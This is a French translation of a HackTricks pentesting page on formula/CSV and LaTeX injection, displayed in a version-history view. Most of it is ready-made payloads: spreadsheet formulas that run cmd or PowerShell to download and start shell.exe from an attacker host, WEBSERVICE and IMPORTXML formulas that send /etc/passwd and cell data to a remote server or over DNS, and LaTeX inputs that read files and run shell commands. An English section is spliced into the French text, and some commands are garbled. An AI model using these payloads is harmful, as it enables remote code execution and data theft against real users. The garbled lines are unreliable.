hacktricks/pentesting-web/formula-doc-latex-injection.md

248 lines
14 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
# Injection de formules/CSV/Doc/LaTeX
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2023-06-03 13:10:46 +00:00
## Injection de formules
2022-07-10 22:26:52 +00:00
### Info
2023-06-03 13:10:46 +00:00
Si votre **entrée** est **réfléchie** dans des fichiers **CSV** (ou tout autre fichier qui sera probablement ouvert par **Excel**), vous pouvez peut-être mettre des **formules Excel** qui seront **exécutées** lorsque l'utilisateur **ouvre le fichier** ou lorsque l'utilisateur **clique sur un lien** dans la feuille Excel.
{% hint style="danger" %}
2023-06-03 13:10:46 +00:00
De nos jours, **Excel alertera** (plusieurs fois) l'utilisateur lorsqu'un élément est chargé depuis l'extérieur d'Excel afin de l'empêcher de réaliser des actions malveillantes. Par conséquent, un effort particulier doit être appliqué à l'ingénierie sociale pour la charge utile finale.
{% endhint %}
2023-06-03 13:10:46 +00:00
### [Liste de mots](https://github.com/payloadbox/csv-injection-payloads)
2022-09-29 15:13:42 +00:00
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
2023-06-03 13:10:46 +00:00
### Hyperlien
2022-09-29 15:13:42 +00:00
2023-06-03 13:10:46 +00:00
**L'exemple suivant est très utile pour exfiltrer du contenu de la feuille Excel finale et effectuer des demandes vers des emplacements arbitraires. Mais cela nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).**
2023-06-03 13:10:46 +00:00
Exemple tiré de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
2023-06-03 13:10:46 +00:00
Prenons un scénario d'attaque du système de gestion des dossiers étudiants d'une école. L'application permet aux enseignants d'entrer les détails des étudiants de l'école. L'attaquant accède à l'application et veut que tous les enseignants utilisant l'application soient compromis. L'attaquant essaie donc de réaliser une attaque d'injection CSV via l'application web.\
L'attaquant doit voler les détails d'autres étudiants. L'attaquant utilise donc la formule Hyperlien et l'entre pendant la saisie des détails de l'étudiant.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
2023-06-03 13:10:46 +00:00
Lorsque l'enseignant exporte le CSV et clique sur le lien hypertexte, les données sensibles sont envoyées au serveur de l'attaquant.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png)
2023-06-03 13:10:46 +00:00
Le fichier CSV exporté contient une charge utile malveillante.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png)
2023-06-03 13:10:46 +00:00
Les détails de l'étudiant sont enregistrés sur le serveur web de l'attaquant.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png)
2022-07-10 22:26:52 +00:00
### RCE
2023-06-03 13:10:46 +00:00
Pour que cet exemple fonctionne, il est **nécessaire d'activer la configuration suivante**:\
Fichier → Options → Centre de gestion de la confidentialité → Paramètres du Centre de gestion de la confidentialité → Contenu externe → Activer le lancement du serveur d'échange de données dynamiques\
ou l'utilisation d'une **ancienne version d'Excel**.
2023-06-03 13:10:46 +00:00
La bonne nouvelle est que **cette charge utile est exécutée automatiquement lorsque le fichier est ouvert** (si l'utilisateur accepte les avertissements).
2023-06-03 13:10:46 +00:00
Il est possible d'exécuter une calculatrice avec la charge utile suivante **`=cmd|' /C calc'!xxx`**
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
2023-06-03 13:10:46 +00:00
### Plus
2021-06-29 12:49:13 +00:00
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
2022-07-10 22:26:52 +00:00
### LFI
2021-06-29 12:49:13 +00:00
2022-04-30 20:31:18 +00:00
**LibreOffice Calc**
2021-06-29 12:49:13 +00:00
2023-06-03 13:10:46 +00:00
* Ceci lira la première ligne du fichier local /etc/passwd : `='file:///etc/passwd'#$passwd.A1`
* L'exfiltrer : `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Exfiltrer plus d'une ligne : `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Exfiltration DNS : `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
2021-06-29 12:49:13 +00:00
2023-06-03 13:10:46 +00:00
**Analyse de la charge utile d'exfiltration DNS :**
2021-06-29 12:49:13 +00:00
2023-06-03 13:10:46 +00:00
* file:///etc/passwd#$passwd.A19 Lira la 19ème ligne du fichier local /etc/passwd
* ENCODEURL(file:///etc/passwd#$passwd.A19) Encode l'URL des données retournées
* MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41) Similaire à substring, lit les données du 1er caractère au 41ème - une façon très pratique de limiter la longueur des noms d'hôtes DNS (limite de 254 caractères pour FQDN et 63 caractères pour un label, c'est-à-dire un sous-domaine)
* SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“) Remplace toutes les instances de % (le caractère spécial de l'encodage URL) par un tiret - cela garantit que seuls des caractères DNS valides sont utilisés
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) Concatène la sortie du fichier (après que le traitement ci-dessus ait eu lieu) avec le FQDN (pour lequel nous avons accès à l'hôte qui est autoritaire pour le domaine)
* WEBSERVICE Fera une demande pour ce nom DNS inexistant que nous pouvons ensuite analyser les journaux (ou exécuter tcpdump etc.) sur le serveur de noms autoritaire DNS pour lequel nous avons le contrôle
2021-06-29 12:49:13 +00:00
2022-07-10 22:26:52 +00:00
### Google Sheets OOB Data Exfiltration
2021-06-29 12:49:13 +00:00
2023-06-03 13:10:46 +00:00
Tout d'abord, présentons certaines des fonctions les plus intéressantes.
2021-06-29 12:49:13 +00:00
2023-06-03 13:10:46 +00:00
**CONCATENATE** : Ajoute des chaînes les unes aux autres.
```
2021-06-29 12:49:13 +00:00
=CONCATENATE(A2:E2)
```
2023-06-03 13:10:46 +00:00
**IMPORTXML**: Importe des données à partir de différents types de données structurées, y compris XML, HTML, CSV, TSV et des flux XML RSS et ATOM.
```
2021-06-29 12:49:13 +00:00
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
```
2023-06-03 13:10:46 +00:00
**IMPORTFEED**: Importe un flux RSS ou ATOM.
```
2021-06-29 12:49:13 +00:00
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
```
2023-06-03 13:10:46 +00:00
**IMPORTHTML**: Importe des données à partir d'un tableau ou d'une liste dans une page HTML.
```
2021-06-29 12:49:13 +00:00
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
```
2023-06-03 13:10:46 +00:00
**IMPORTRANGE**: Importe une plage de cellules à partir d'une feuille de calcul spécifiée.
```
2021-06-29 12:49:13 +00:00
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
```
2023-06-03 13:10:46 +00:00
**IMAGE**: Insère une image dans une cellule.
```
2021-06-29 12:49:13 +00:00
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
```
2023-06-03 13:10:46 +00:00
## Injection LaTeX
2021-06-29 12:49:13 +00:00
2023-06-03 13:10:46 +00:00
Généralement, les serveurs que l'on trouve sur internet qui **convertissent le code LaTeX en PDF** utilisent **`pdflatex`**.\
Ce programme utilise 3 attributs principaux pour (dés)autoriser l'exécution de commandes :
2022-07-10 22:26:52 +00:00
2023-06-03 13:10:46 +00:00
* **`--no-shell-escape`** : **Désactive** la construction `\write18{command}`, même si elle est activée dans le fichier texmf.cnf.
* **`--shell-restricted`** : Identique à `--shell-escape`, mais **limité** à un ensemble de \*\*commandes prédéfinies** sûres (\*\*Sur Ubuntu 16.04, la liste se trouve dans `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`** : **Active** la construction `\write18{command}`. La commande peut être n'importe quelle commande shell. Cette construction est normalement désactivée pour des raisons de sécurité.
2022-07-10 22:26:52 +00:00
2023-06-03 13:10:46 +00:00
Cependant, il existe d'autres moyens d'exécuter des commandes, il est donc très important d'utiliser `--shell-restricted` pour éviter les RCE.
2022-07-10 22:26:52 +00:00
2023-06-03 13:10:46 +00:00
### Lire un fichier <a href="#read-file" id="read-file"></a>
2022-07-10 22:26:52 +00:00
```bash
\input{/etc/passwd}
\include{password} # load .tex file
2022-07-12 21:55:32 +00:00
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
2022-07-10 22:26:52 +00:00
```
2023-06-03 13:10:46 +00:00
#### Lire un fichier d'une seule ligne
2022-07-10 22:26:52 +00:00
```bash
2022-09-09 11:57:02 +00:00
ewread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
2023-06-03 13:10:46 +00:00
#### Lire un fichier à plusieurs lignes
2022-07-10 22:26:52 +00:00
```bash
2022-09-09 11:57:02 +00:00
ewread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
2023-06-03 13:10:46 +00:00
### Écrire un fichier <a href="#write-file" id="write-file"></a>
---
#### Description
This technique allows an attacker to write a file on the server.
#### Vulnerable code pattern
```latex
\immediate\write18{echo "text" > /path/to/file}
```
2022-07-10 22:26:52 +00:00
2023-06-03 13:10:46 +00:00
#### Exploitation
2022-07-10 22:26:52 +00:00
2023-06-03 13:10:46 +00:00
An attacker can inject arbitrary commands in the `write18` command. For example, the following payload will execute the `id` command and write the output to `/tmp/output`:
```latex
\immediate\write18{id > /tmp/output}
```
#### Mitigation
- Avoid using the `write18` command.
- If it is necessary to use it, sanitize any user input before using it in the command.
2022-07-10 22:26:52 +00:00
```bash
ewwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
2023-06-03 13:10:46 +00:00
### Exécution de commandes <a href="#command-execution" id="command-execution"></a>
2022-07-10 22:26:52 +00:00
2023-06-03 13:10:46 +00:00
L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour l'obtenir.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
2022-07-12 22:56:28 +00:00
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
2022-07-10 22:26:52 +00:00
```
2023-06-03 13:10:46 +00:00
Si vous rencontrez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans caractères indésirables.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
2023-06-03 13:10:46 +00:00
De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
2022-07-10 22:26:52 +00:00
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
2023-06-03 13:10:46 +00:00
## Références
2021-06-29 12:49:13 +00:00
2022-07-10 22:26:52 +00:00
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>